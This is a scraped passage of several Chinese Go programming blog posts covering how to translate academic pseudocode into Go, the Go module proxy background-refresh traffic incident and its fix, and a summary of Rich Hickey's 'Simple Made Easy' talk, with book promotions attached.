中，我们使用 func 关键字。一个重要的“翻译”区别是，Go 的切片自带长度信息，因此通常无需像伪代码那样显式传递长度 n。此外，Go 鼓励通过多返回值来处理错误，这是伪代码中通常不会详述的工程实践。\n// FindMax 在一个整数切片中寻找最大值。 // 如果切片为空，它会返回 0 和一个错误。 func FindMax(A []int) (int, error) { if len(A) == 0 { return 0, fmt.Errorf(\u0026#34;cannot find max in an empty slice\u0026#34;) } maxVal := A[0] // 伪代码从索引 2 开始，对应 Go 的索引 1 for i := 1; i \u0026lt; len(A); i++ { if A[i] \u0026gt; maxVal { maxVal = A[i] } } return maxVal, nil } 6. 注释符号: //, #, 或 ▷ 注释是写给人类读者的，用于解释某行或某块逻辑的意图。伪代码中的注释风格非常灵活。\n为什么有 ▷ 这种奇怪的符号? 这个空心三角符号 (triangleright) 在使用 LaTeX 排版的学术论文中非常流行，因为它在视觉上比 // 或 # 更优雅，并且能与数学公式和谐共存。\n伪代码: l ← 0 ▷ Initialize the left pointer Go “译文”: Go 语言使用 // 进行单行注释，使用 /* … */ 进行多行注释。\nl := 0 // Initialize the left pointer 伪代码的“文体” 正如文章有不同文体，伪代码也并非铁板一块。它存在一个从“酷似代码”到“形如散文”的风格光谱。理解这个光谱，能帮助我们更好地把握作者的意图。\n让我们以一个（故意写得晦涩的）SomethingMysterious 算法为例，该算法的功能是统计一个字符串切片中每个唯一字符串出现的次数。\n文体一：“伪装者”—— 语言强相关的真实代码 这其实是坏的伪代码。它直接使用某种特定语言（如下例中的MATLAB）的语法，给不熟悉该语言的读者制造了巨大障碍。\nMATLAB 代码示例: matlab function Y = SomethingMysterious(X) Y = {}; while length(X) w = X(1); c_w = 1; inds = [1]; for i = 2:length(X) if strcmp(X(i), w) c_w = c_w + 1; inds = [inds i]; end end Y{end+1} = {w, c_w}; X(inds) = []; end end “翻译”诊断： 这不是伪代码，这是需要“硬啃”的源码。strcmp, {} cell array, end+1 索引等都是 MATLAB 方言，可读性极差。我们应该避免用这种方式书写和理解算法。 文体二：“直译”—— 细节丰富的类代码风格 这种风格非常接近编程语言，但剥离了最刁钻的语法。它易于转换为代码，但可能因细节过多而显得啰嗦。\n类代码伪代码: PROCEDURE SomethingMysterious_v2(X): Y = [] while length(X) \u0026gt; 0: let w be the first element of X initialize count c_w to 1 initialize inds (indices to delete) to [1] for i from 2 to length(X): // assume 1-based indexing if X[i] == w: c_w = c_w + 1 append i to inds append {w, c_w} to Y delete from X all values at indices in inds “翻译”诊断： 这是最常见的伪代码风格之一。逻辑清晰，步骤明确。翻译成 Go 时，主要工作是处理 1-based 索引和 delete from X 这个相对低效的操作。\n直译版 Go 实现 (保留了低效操作): func SomethingMysteriousV2(X []string) map[string]int { Y := make(map[string]int) // Go 中直接修改正在遍历的切片很危险，我们用一个 map 来标记已处理的元素 processed := make(map[string]bool) for _, w := range X { if processed[w] { continue } count := 0 for _, item := range X { if item == w { count++ } } Y[w] = count processed[w] = true } return Y } * **意译版 Go 实现 (更 Go Idiomatic):** go // 这个算法的本质就是词频统计，Go 中用 map 实现最高效 func WordFrequencyCounter(words []string) map[string]int { counts := make(map[string]int) for _, word := range words { counts[word]++ } return counts } 这个例子完美地展示了“翻译”的真谛：我们追求的不是逐字逐句的“直译”，而是理解其核心意图后的“意译”，写出符合目标语言习惯的优雅代码。\n文体三：“意译”—— 平衡的半形式化风格 这是理想的伪代码。它使用自然语言来描述高层意图，同时用结构化语句来保留算法骨架。它足够精确，可以用于分析时间复杂度；也足够抽象，不会陷入实现细节。\n平衡风格伪代码: PROCEDURE SomethingMysterious_v3(X): Y = [] While X is not empty: Let w be the first element of X Count the number of occurrences of w in X, call this c_w Append (w, c_w) to Y Delete all occurrences of w from X return Y “翻译”诊断： 这种风格最能体现算法思想。Count the number of occurrences 和 Delete all occurrences 是两个抽象指令。读者可以立即明白算法要做什么，并能自由选择最高效的实现方式（比如使用 Go 的 map）。 文体四：“神似”—— 纯自然语言描述 这种风格完全脱离了代码形式，用一两句话描述算法核心思想。适合在高层设计文档中使用，但无法直接用于代码实现或复杂度分析。\n纯英文描述: For each unique word in the input list, count how many times it appears, and add the word and its count to a result list.\n“翻译”诊断： 这是算法的“灵魂”，是“意译”的终极目标。当你在阅读伪代码时，如果能用这样一句话在脑中概括出它的作用，你就真正读懂了它。 实战演练 —— 我们来完整“翻译”一个二分查找 理论讲了这么多，让我们通过一个经典案例——二分查找，来走一遍完整的“翻译”流程。\n伪代码版本 (源自经典教材) function BINARY-SEARCH(A, T) 1. L ← 1 2. R ← length(A) 3. while L ≤ R do 4. m ← floor((L + R) / 2) 5. if A[m] \u0026lt; T then 6. L ← m + 1 7. else if A[m] \u0026gt; T then 8. R ← m - 1 9. else 10. return m 11. return -1 // Indicates not found Go “翻译”全过程 函数签名翻译 (function BINARY-SEARCH(A, T)): 伪代码接受一个数组 A 和目标 T。在 Go 中，我们通常使用切片 []int，并返回索引 int 和一个可能的 error。\nfunc BinarySearch(data []int, target int) (int, bool) { // 返回 (index, found) 更符合 Go 风格 变量初始化翻译 (L ← 1, R ← length(A)): 再次敲响警钟：1-based 索引！ Go 的切片索引从 0 到 len(data) – 1。\nleft := 0 right := len(data) - 1 循环与条件翻译 (while L ≤ R do): while 循环在 Go 中用 for 实现。\nfor left \u0026lt;= right { 核心逻辑翻译: m ← floor((L + R) / 2) 在 Go 整数除法中自动实现向下取整。但更专业的写法是 left + (right – left) / 2 以防止 left + right 溢出。\nmiddle := left + (right-left)/2 if data[middle] \u0026lt; target { left = middle + 1 } else if data[middle] \u0026gt; target { right = middle - 1 } else { return middle, true // 找到了 } } 返回值翻译 (return -1): 如果循环结束，说明没找到。按照 Go 的风格，我们返回一个零值和 false。\nreturn -1, false // 未找到 最终的 Go “译文” // BinarySearch 在一个有序切片中查找目标值。 // 如果找到，返回其索引和 true；否则返回 -1 和 false。 func BinarySearch(data []int, target int) (int, bool) { left, right := 0, len(data)-1 for left \u0026lt;= right { // 使用这种方式计算 middle 可以防止 left + right 整数溢出 middle := left + (right-left)/2 if data[middle] \u0026lt; target { left = middle + 1 } else if data[middle] \u0026gt; target { right = middle - 1 } else { // 找到了目标 return middle, true } } // 未找到目标 return -1, false } 伪代码的“方言”—— 识别不同时代的印记 伪代码没有统一的国际标准，不同年代、不同作者的著作会展现出不同的“方言”。学会识别这些方言，能让你在阅读各种历史文献时游刃有余。\n早期 Pascal 风格 (e.g., Sedgewick, 1988): function binarysearch(v:integer):integer; var x, l, r:integer; begin l:=1; r:=N; repeat x:=(l+r)div 2; if v\u0026lt;a[x].key then r:=x-1 else l:=x+1 until (v=a[x].key) or (l\u0026gt;r); end; 方言特征: 强类型声明 (:integer)、:= 赋值、repeat-until (类似 do-while)、begin-end 块。\nC-Like 风格 (e.g., Baase and Van Gelder, 2000): int binarySearch(int[], E, int first, int last, int K) if (last \u0026lt; first) index = -1; else int mid = (first + last)/2; ... return index; 方言特征: C 语言的函数签名、花括号或缩进表示代码块、分号。\n现代 Pythonic 风格: def binary_search(L, item): if len(L) \u0026lt;= 1: ... mid = len(L) // 2 if L[mid] \u0026gt; item: return binary_search(L[:mid], item) ... 方言特征: 大量借鉴 Python 语法，如切片 L[:mid]、len() 函数、// 整除。\n“翻译”心法： 无论“方言”如何变化，算法的核心思想——循环、判断、赋值——是永恒的。不要被表面的语法差异所迷惑，而要去识别其背后共通的逻辑结构。\n伪代码的阅读与写作心法 最后，让我们提炼一些高级的“心法”，它们是伪代码背后的最佳实践。\n意图(intent)先于语法 阅读伪代码时，首要任务是理解作者的意图。不要纠结于 := 和 ← 的区别，或者循环是用 while 还是 for。问自己：这一步操作的目的是什么？是在查找、计数还是在交换？\n拥抱抽象 当伪代码中出现 Sort(A) 或 FindShortestPath(G, u, v) 这样的语句时，不要立即陷入“我该如何实现一个排序算法”的细节中。作者在此时是把这些操作当作“黑盒”，假设你已经知道或可以查到它们的功能。这能让你聚焦于当前算法的创新之处。\n警惕语言特性的“陷阱翻译” 不要把伪代码中的结构生搬硬套到 Go 中。例如，伪代码中的 delete from X 如果直译成 Go，可能会导致在一个循环中反复创建新切片，性能极差。正确的“翻译”是思考：在 Go 中，实现“移除一组元素”这个 意图 的最佳方式是什么？（可能是原地移动元素后截断，或标记删除等）。\n像写文章一样写伪代码 如果你需要写伪代码（例如，在技术设计文档中），请记住你的读者是人类。使用有意义的变量名，适当添加注释，优先保证清晰易懂，而不是代码的紧凑。好的伪代码更像一篇逻辑清晰的说明文。\n平衡是艺术 好的伪代码是在精确性和可读性之间取得了绝妙的平衡。它必须包含足够的信息来分析算法的正确性和时间复杂度，但又要隐去足够多的实现细节，以免让核心思想被淹没。这正是“意译”风格（文体三）备受推崇的原因。\n小结 伪代码，这门一度看似神秘的“天书”，其面纱已被揭开。通过这篇“翻译指南”，你已经：\n掌握了伪代码的基础符号“字母表”。 理解了其从精确到写意的不同“文体”。 亲历了一次完整的“翻译”实战。 学会了识别不同时代的“方言”。 领悟了阅读与写作的深层“心法”。 现在，你手中的钥匙已经可以打开任何一篇学术论文的算法之门。这片广阔的知识海洋，正等待着你这位优秀的“翻译官”去探索。\n参考资料 https://student.cs.uwaterloo.ca/~cs231/resources/pseudocode.pdf https://blogs.ubc.ca/cpsc3202019s2/files/2019/07/pseudocode_guide_sol.pdf https://www.researchgate.net/publication/309410533_Introduction_to_Algorithms_and_Pseudocode 想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/gopher-pseudocode-translation-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide\"\u003ehttps://tonybai.com/2025/09/06/gopher-pseudocode-translation-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否曾在阅读顶会论文时，感觉其中的算法描述像一本晦涩难懂的**“天书”**？那些看不太懂的数学符号、奇特的箭头和看似代码又无法编译的语句(如下图)，是不是常常让你望而却步，感叹理论与实践之间隔着一道鸿沟？\u003c/p\u003e","title":"告别算法“天书”，Go程序员的学术伪代码“翻译”指南"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing\n大家好，我是Tony Bai。\n2025年8月14日，Go开发者Ted Unangst发表了一篇措辞犀利的博文——《What is the go proxy even doing?》。他用服务器日志作为证据，公开质疑Go官方模块代理（proxy.golang.org）对其个人代码托管服务humungus.tedunangst.com产生了“洪水般”的、看似毫无意义的巨大流量。这个事件迅速在社区发酵，将一个通常在后台默默工作的核心基础设施，推上了风口浪尖。当然在我的印象中，这已经不是Go社区第一次“抱怨” 官方Go proxy的“诡异”行为给一些小型站点带来的烦恼了。\n不过不同的是，这次Go团队的前技术leader、核心成员Russ Cox (rsc) 迅速响应，在Go的官方issue追踪系统中创建了两个关键问题（#75120 和 #75191），不仅承诺调查并解决问题，更罕见地、极其详尽地公开了Go Module Proxy的内部工作原理、缓存策略以及导致此次事件的深层原因。\n这场由一篇博文引发的“悬案”及其官方复盘，为我们提供了一个绝佳的机会，去深入理解Go Module Proxy这个我们每天都在使用，却又知之甚少的系统。它背后的“背景刷新”机制，究竟是为了提升开发者体验的“优化”，还是在某些边缘情况下会演变成对小型开源社区的“DDoS”？\n事件回顾：来自小型服务器的“呐喊” Ted Unangst的博文主要控诉了以下几个现象：\n持续的背景流量：即使没有任何新版本发布，proxy.golang.org也会以几分钟一次的频率，持续尝试从他的服务器hg clone（克隆）多个仓库。由于他的服务器设置了24小时内只允许一次克隆的速率限制，这些请求大多被429 Too Many Requests拒绝，但在日志中形成了持续的“背景辐射”。 “惊群效应”（Thundering Herd）：当他推送一个新版本（一个新tag）并本地执行go mod tidy后，短短14秒内，他的服务器就遭到了来自Google不同IP地址的、数十个并发的hg clone请求。他将其形容为“洪水来了”。 低效的拉取策略：Proxy每次都执行完整的hg clone，而不是更高效的hg pull，这对于非Git的VCS（版本控制系统）来说，意味着巨大的带宽浪费。 Unangst的质疑直击要害：“为什么你们要这样构建一个分布式系统？……难道Google认为从我的服务器下载比从他们自己的云存储下载更便宜吗？”\nGo官方的深度复盘：揭开代理的神秘面纱 Russ Cox的官方回应堪称透明沟通的典范。他不仅承认了问题的存在，还详细解释了Proxy的设计理念和实现细节，让我们得以一窥其内部运作。\nGo Module Proxy的核心目标 可用性与可靠性：作为Go生态的中央缓存，确保开发者在任何上游代码仓库宕机时，依然能获取到模块。 降低延迟：通过主动的背景刷新，提前将热门或近期被访问过的模块信息更新到缓存中，使得开发者在执行go get等命令时，能立即获得响应，而不是等待Proxy实时回源。 缓存与刷新策略的权衡 Proxy缓存多种类型的数据，每种都有不同的刷新策略，而这些策略正是问题的根源：\n模块Zip包：\n有许可证：被认为是可再分发的，永久缓存，从不刷新。 无许可证：被视为不可再分发，缓存30天后过期。为了避免用户请求时缓存失效导致的高延迟，Proxy会在其25天“高龄”时触发刷新，但前提是过去1天内有人请求过这个版本。 版本列表 (go list -m -versions …)：\n缓存3小时后过期。为了让go get -u能尽快看到新版本，Proxy会在其25分钟“高龄”时触发刷新，但前提是过去3天内有人请求过这个列表。 版本查询 (go get module@main)：\n缓存1小时后过期。同样，在25分钟时触发刷新，前提是过去1天内有人请求过。 “万恶之源”：不匹配的刷新与访问周期 在issue #75191中，rsc进行了一次深刻的自我反思，指出了这些策略中的一个致命缺陷——读放大（Read Amplification）。\n模块Zip包（无许可证）：刷新周期（25天）与“近期访问”周期（1天）不匹配，但因为时间跨度大，影响不大。\n版本列表：刷新周期是25分钟，但触发条件是过去3天内有一次访问即可。这意味着，一个开发者在周一的一次go get -u，将导致Proxy在接下来的72小时内，每25分钟就去上游仓库检查一次更新！\n最坏情况下的读取放大：3天 * 24小时/天 * 60分钟/小时 / 25分钟/次 ≈ 172.8次。一次用户请求，可能导致Proxy向上游发起172.8次刷新！ 版本查询：类似地，一次go get …@main请求，可能导致24 * 60 / 25 ≈ 57.6次刷新。\nrsc坦诚，这种激进的刷新策略源于早期社区对“go get无法立即看到新版本”的普遍抱怨，是当时Go团队为了优化开发者体验而做出的决策。然而，对于那些不常用（比如几天才被访问一次）且托管在非Git（如Mercurial）小型服务器上的模块，这种策略就演变成了一场流量灾难。\n解决方案：重新“步调一致” Go团队提出的解决方案，是让刷新周期与“近期访问”的定义“步调一致”（Pacing）。新的策略是：\n版本查询：每25分钟刷新一次，但前提是过去25分钟内必须有用户请求。 版本列表：每25分钟刷新一次，但前提是过去25分钟内必须有用户请求。 这个看似微小的改动，却有着深远的影响：\n对于热门模块：几乎没有影响，因为它们每时每刻都有用户在请求。 对于无人问津的模块：没有影响，它们不会被刷新。 对于偶尔被访问的模块：影响巨大。现在，一次用户请求最多只会触发未来25分钟内的一次背景刷新。最坏情况下的读取放大被降至最优的1倍。 这意味着，Go Module Proxy因为背景刷新而产生的上游流量，将永远不会超过一个没有缓存、所有请求都实时回源的代理所产生的流量。\n对Go开发者和开源维护者的启示 这场事件不仅仅是Go团队的一次内部优化，它为整个生态的参与者都带来了宝贵的经验：\n1. 开源模块维护者：如何保护你的服务器？ 使用Git：Go Proxy对Git有特殊的轻量级刷新优化。它可以通过git ls-remote来检查更新，而无需克隆整个仓库。对于Mercurial、Bazaar等VCS，目前仍需要完整克隆。 issue #75119 正在追踪为Mercurial添加类似优化的工作。 添加LICENSE文件：如果你的代码允许再分发，务必在仓库根目录添加一个被Go识别的LICENSE文件。这将让你的模块版本被Proxy永久缓存，彻底免除Zip包的刷新流量。 了解求助渠道：Go团队在issue中明确表示，如果你的服务器遭受了来自Proxy的过多流量，应该去Go的官方issue追踪系统报告。他们已经添加了FAQ条目来引导用户。 2. Go模块使用者：如何做一个“好公民”？ 理解你命令的“涟漪效应”：下一次你输入go get -u或go get module@main时，请意识到这个简单的命令可能会给模块的源服务器带来持续一段时间的刷新压力。 工具开发者请注意：如果你正在编写扫描或爬取Go模块的工具，请尽可能使用https://proxy.golang.org/cached-only端点。这将只访问Proxy的缓存，不会触发任何到上游服务器的回源或刷新请求。 3. 对Go团队的思考：简单性与复杂性的永恒权衡 这个事件也揭示了Go语言哲学的一个侧面。Go团队为了追求用户体验的“简单”（即时获取最新版本），在Proxy的内部引入了“复杂”的、带有潜在风险的刷新逻辑。当这种复杂性与现实世界的多样性（不同的VCS、不同的模块流行度）碰撞时，问题便暴露出来。\n最终的解决方案，回归到了一个更“简单”、更可预测的模型。这再次印证了软件工程的一条黄金法则：简单的、可预测的系统，长期来看往往比一个充满“智能”优化的复杂系统更加健壮。\n小结：一次迈向成熟的进化 Go Module Proxy的这次“流量悬案”，最终以一次开放、透明的社区互动和深刻的技术改进而告终。它既解决了小型服务器维护者的燃眉之急，又推动了Go核心基础设施向着一个更公平、更健壮、更尊重生态多样性的方向进化。对于我们开发者而言，这是一个了解Go Proxy内部机制的宝贵机会，也是一堂关于分布式系统设计、社区责任和技术权衡的生动课程。\n参考资料 https://github.com/golang/go/issues/75191 https://github.com/golang/go/issues/75120 https://flak.tedunangst.com/post/what-is-the-go-proxy-even-doing 想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-proxy-revise-background-refresh-pacing-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing\"\u003ehttps://tonybai.com/2025/09/05/go-proxy-revise-background-refresh-pacing\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e2025年8月14日，Go开发者Ted Unangst发表了一篇措辞犀利的博文——《\u003ca href=\"https://flak.tedunangst.com/post/what-is-the-go-proxy-even-doing\"\u003eWhat is the go proxy even doing?\u003c/a\u003e》。他用服务器日志作为证据，公开质疑Go官方模块代理（proxy.golang.org）对其个人代码托管服务humungus.tedunangst.com产生了“洪水般”的、看似毫无意义的巨大流量。这个事件迅速在社区发酵，将一个通常在后台默默工作的核心基础设施，推上了风口浪尖。当然在我的印象中，这已经不是Go社区第一次“抱怨” 官方Go proxy的“诡异”行为给一些小型站点带来的烦恼了。\u003c/p\u003e","title":"Go Proxy的“背景刷新”机制，是优化还是“DDoS”？一次社区事件引发的深度复盘"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/04/simple-is-not-easy\n大家好，我是Tony Bai。\n在软件工程领域，有些演讲如同灯塔，其光芒足以穿透时间的迷雾，持续为后来者指引方向。Clojure语言的创造者Rich Hickey在2011年的Strange Loop大会上发表的“Simple Made Easy”，正是这样一例。他以一种近乎哲学家的思辨，对我们行业中最被滥用、最被误解的两个词——“简单”（Simple）和“容易”（Easy）——进行了本源性的解构。\n时至今日，这场演讲对于以“简单”著称的Go语言社区，依然具有重要的警示意义。我们常常自豪于Go的语法“简单”，工具链“容易”上手，但我们追求的，究竟是真正的“简单”，还是仅仅是表面的“容易”？\n本文将和你一起重温Hickey的这场经典演讲，并结合Go语言的实践，提炼出每一位Gopher都应该深刻理解的五个核心道理。这既是对一个经典演讲的回顾，更是一次对我们日常编码决策和技术选型标准的反思。\n道理一：精确你的词汇——“简单”与“容易”是两回事 Hickey的第一记重拳，就砸向了我们混乱的词汇表。他从词源学出发，为这两个概念划定了清晰的界限：\n简单 (Simple)：源于拉丁语sim-plex，意为“一个褶皱”或“一股编绳”。它的反义词是复杂 (Complex)，意为“交织、缠绕在一起”。因此，“简单”描述的是事物的内在状态，关乎其是否存在交织和纠缠。它是一个客观属性。\n容易 (Easy)：源于拉丁语adjacens，意为“靠近的、在旁边的”。它的反义词是困难 (Hard)。因此，“容易”描述的是事物与我们的相对关系，关乎其是否与我们的认知、技能或工具相近。它是一个相对概念。\n这个区分至关重要。当我们说“我喜欢用Go，因为它很简单”时，我们真正的意思往往是“它对我来说很容易”，因为：\n它很熟悉 (Familiar)：它的语法类似C，没有复杂的泛型或宏。 它很就手 (At hand)：安装方便，工具链开箱即用。 Hickey警告说，我们整个行业都对“容易”——尤其是“熟悉”和“就手”——有一种不健康的迷恋。这种迷恋让我们倾向于选择那些看起来像我们已知事物的东西，从而拒绝学习任何真正新颖但可能更简单的东西。\n对于Go开发者：我们需要警惕，不要将Go的“语法简洁”（一种形式上的“容易”）与系统的“结构简单”划等号。一个用简洁语法写成的、充满了全局状态和隐式依赖的Go程序，其本质是复杂的。\n道理二：警惕“容易”的复杂性——状态、对象与继承的陷阱 Hickey指出，许多我们认为“容易”的编程范式，恰恰是复杂性的最大来源，因为它们将不同的关注点“编织”在了一起。\n1. 状态（State）是万恶之源 var x = 1; x = 2; 这种可变状态，在Hickey看来，是软件中最根本的“交织”——它将**值（Value）与时间（Time）**紧密地缠绕在一起。你永远无法在不考虑时间点的情况下，获得一个确定的值。\n对于Go开发者：虽然Go不是一门纯函数式语言，但我们应该在力所能及的范围内，尽量推崇不可变性。\n优先使用值传递：对于小型结构体，按值传递而非指针传递，可以避免意外的副作用。 警惕共享的可变状态：在并发编程中，与其用sync.Mutex保护一堆共享的可变数据，不如思考如何通过channel传递不可变的“消息”，从根本上消除状态的交织。 2. 对象 (Objects) 是复杂性的打包机 传统的面向对象编程，将状态、身份（Identity）和值这三个独立的概念打包进了一个叫做“对象”的东西里。你无法轻易地将它们分开处理。\n对于Go开发者：Go在这一点上做得相对出色。Go的struct更接近于纯粹的数据聚合（C-style struct），而不是带有复杂继承体系和封装状态的“对象”。我们应该保持并发扬这一优点：\n让Struct保持简单：让它专注于承载数据。 将行为（方法）与数据分离：Go的方法是附加在类型上的函数，而非封装在对象内部。这鼓励我们编写更多无状态的、可测试的纯函数来处理数据。 3. 继承 (Inheritance) 是类型的强耦合 继承在Hickey看来是“定义上的交织”。子类与父类被紧密地绑定在一起，形成了一个难以分割的整体。\n对于Go开发者：Go通过组合优于继承的设计，从语言层面避免了这个问题。我们应该充分利用接口（interface）和结构体嵌入（struct embedding）来实现代码的复用和多态，而不是去模拟继承。接口定义了行为契约，而结构体嵌入则允许我们“借用”实现，这两者都比继承提供了更松散的耦合。\n道理三：拥抱“简单”的工具箱——值、函数、数据与队列 如果状态、对象、继承是复杂性的来源，那么我们应该拥抱什么？Hickey为我们提供了一个“简单”的工具箱：\n值 (Values)：不可变的数据。一个值永远不会改变，因此它与时间无关，可以在任何地方被安全地共享和传递。 函数 (Functions)：无状态的行为。给定相同的输入，永远返回相同的输出。 数据 (Data)：使用通用的数据结构（map, list, set）来承载信息，而不是为每一种信息都创建一个新的class。这使得我们可以编写通用的、可复用的数据处理函数。 队列 (Queues)：将“何时”与“何地”的决策解耦。当组件A需要组件B做事时，A不应直接调用B，而是应该将一个消息放入队列中。这打破了组件间的时空耦合。 对于Go开发者：Go的语言特性与这个“简单”工具箱惊人地契合！\n值与函数：Go鼓励值语义，并且其函数是一等公民。编写纯函数在Go中也可以是自然而然的事情。 数据：Go内置的map和slice就是强大的通用数据结构。我们应该抵制为简单的数据集合过度封装struct和方法的诱惑。 队列：channel正是队列思想的完美体现！ 它将goroutine之间的通信从直接调用（时间、空间耦合）解耦为异步消息传递。Hickey的理论为“多用channel，少用共享内存和锁”这一Go社区的最佳实践，提供了坚实的哲学基础。 道理四：你的目标是简单的“制品”，而非简单的“构件” Hickey强调，我们必须区分构件（Constructs）——我们编写的代码、使用的语言和库——和制品（Artifacts）——那个真正在服务器上运行、为用户提供服务的程序。\n我们常常沉迷于构件的“容易性”：“看，我只用了16个字符，没有分号！”，而忽略了这些“容易”的构件可能产生极其复杂的制品。一个充满了可变状态和隐式依赖的程序，无论写起来多么“容易”，其最终的制品都将是难以理解、难以修改、难以调试的。\n对于Go开发者：\n超越gofmt：代码格式的统一只是最浅层次的“容易”。我们更应该关注代码的结构是否简单，模块间的依赖是否清晰。 警惕interface{} (或 any)：any是一个“容易”的工具，它让我们可以绕过类型系统。但它会产生复杂的制品，因为我们在运行时丢失了类型信息，增加了不确定性。 思考长期影响：在选择一个库或框架时，不要只看它的入门教程有多“容易”。更要思考它会给你的系统带来怎样的长期复杂性。一个“魔法般”的框架可能会在短期内提升开发速度，但当问题出现时，你将深陷其复杂的内部机制中无法自拔。 道理五：“简单”需要思考，而“容易”往往是捷径 Hickey用一个跑步的例子生动地说明了这一点：只有短跑选手才能从一开始就全力冲刺。软件开发是一场马拉松。如果你只追求起步时的“容易”，你很快就会被自己制造的复杂性拖垮。\n选择“简单”的道路，往往需要在开始时付出更多的思考：\n你需要花时间去分解问题，识别出其中真正独立的概念。 你需要抵制住使用熟悉但复杂的工具的诱惑。 你需要设计清晰的边界和接口。 这个前期的“思考”成本，就是Hickey图表中那条“简单”路线在起步阶段不如“容易”路线陡峭的原因。但从长远来看，这条路会越走越顺，而那条追求“容易”的捷径，最终会通向复杂性的泥潭。\n对于Go开发者：\n在开始一个新项目或新功能时，问自己几个问题：\n我真的需要引入这个新的外部依赖（如ORM、大型框架）吗？还是可以用标准库更简单地实现？\n这个接口的设计是否将不同的关注点（如数据获取和业务逻辑）交织在了一起？\n我是在设计一个能应对当前问题的最简单的方案，还是在为一个想象中的复杂未来进行过度设计？\n小结：选择做一名“简单”的工程师 Rich Hickey的演讲像一面镜子，映照出我们作为工程师在日常工作中不自觉的偏见和思维惰性。它挑战我们去重新审视我们对“好代码”和“生产力”的定义。\n对于Gopher而言，我们手中握着一门在设计上就倾向于“简单”的语言。但语言本身并不能保证我们写出简单的系统。真正的“简单”是一种选择，一种需要我们时刻保持警惕、不断反思的思维纪律。\n下一次，当你面对一个技术决策时，请停下来问自己：我是在选择那条“容易”的、熟悉的下坡路，还是那条需要一些前期思考，但最终通往光明和简单的上坡路？\n答案，将决定你和你所构建的系统的最终命运。\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/04/simple-is-not-easy/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/simple-is-not-easy-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/04/simple-is-not-easy\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/04/simple-is-not-easy\"\u003ehttps://tonybai.com/2025/09/04/simple-is-not-easy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程领域，有些演讲如同灯塔，其光芒足以穿透时间的迷雾，持续为后来者指引方向。Clojure语言的创造者Rich Hickey在2011年的Strange Loop大会上发表的\u003ca href=\"https://www.infoq.com/presentations/Simple-Made-Easy/\"\u003e“Simple Made Easy”\u003c/a\u003e，正是这样一例。他以一种近乎哲学家的思辨，对我们行业中最被滥用、最被误解的两个词——\u003cstrong\u003e“简单”（Simple）\u003cstrong\u003e和\u003c/strong\u003e“容易”（Easy）\u003c/strong\u003e——进行了本源性的解构。\u003c/p\u003e","title":"“简单”不是“容易”：Go开发者应该懂的5个道理"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/03/gopher-first-lesson-to-big-factory\n大家好，我是Tony Bai。\n很多计算机专业的同学们都在问：想进大厂，要先学好哪门编程语言？\n从应用广泛程度来说，学好Go语言肯定错不了！我们来看一下大厂们都用Go在做哪些开发：\n阿里用于基础服务、网关、容器、服务框架等开发。\n字节跳动用于即时通信（IM）、K8s、微服务等开发。\n腾讯用于微信后台、云服务、游戏后端等开发。\n滴滴用于数据平台、调度系统、消息中间件等开发。\n此外，美团、百度、京东、小米等都在业务中大量使用Go语言做开发。可见，同学们只要玩转Go语言，大厂都会张开双臂欢迎你们。\n大厂为何如此青睐Go语言呢？有三点重要原因：\n简单易上手： Go语法简洁，学习成本低，代码易维护； 生产力与性能有效结合： Go拥有卓越的并发性能，内置调度器和非抢占式模型，保证了超高的稳定性； 使用快乐且前景广阔： 优良的开发体验，包括得心应手的工具链、丰富健壮的标准库、广泛的社区支持等。 总的来说，Go相对于C/C++，性能并没有明显差距，可维护性还更好；相对于Python，Go性能大幅领先，入门难度则相差无几。\n直通大厂，同学们请看《Go 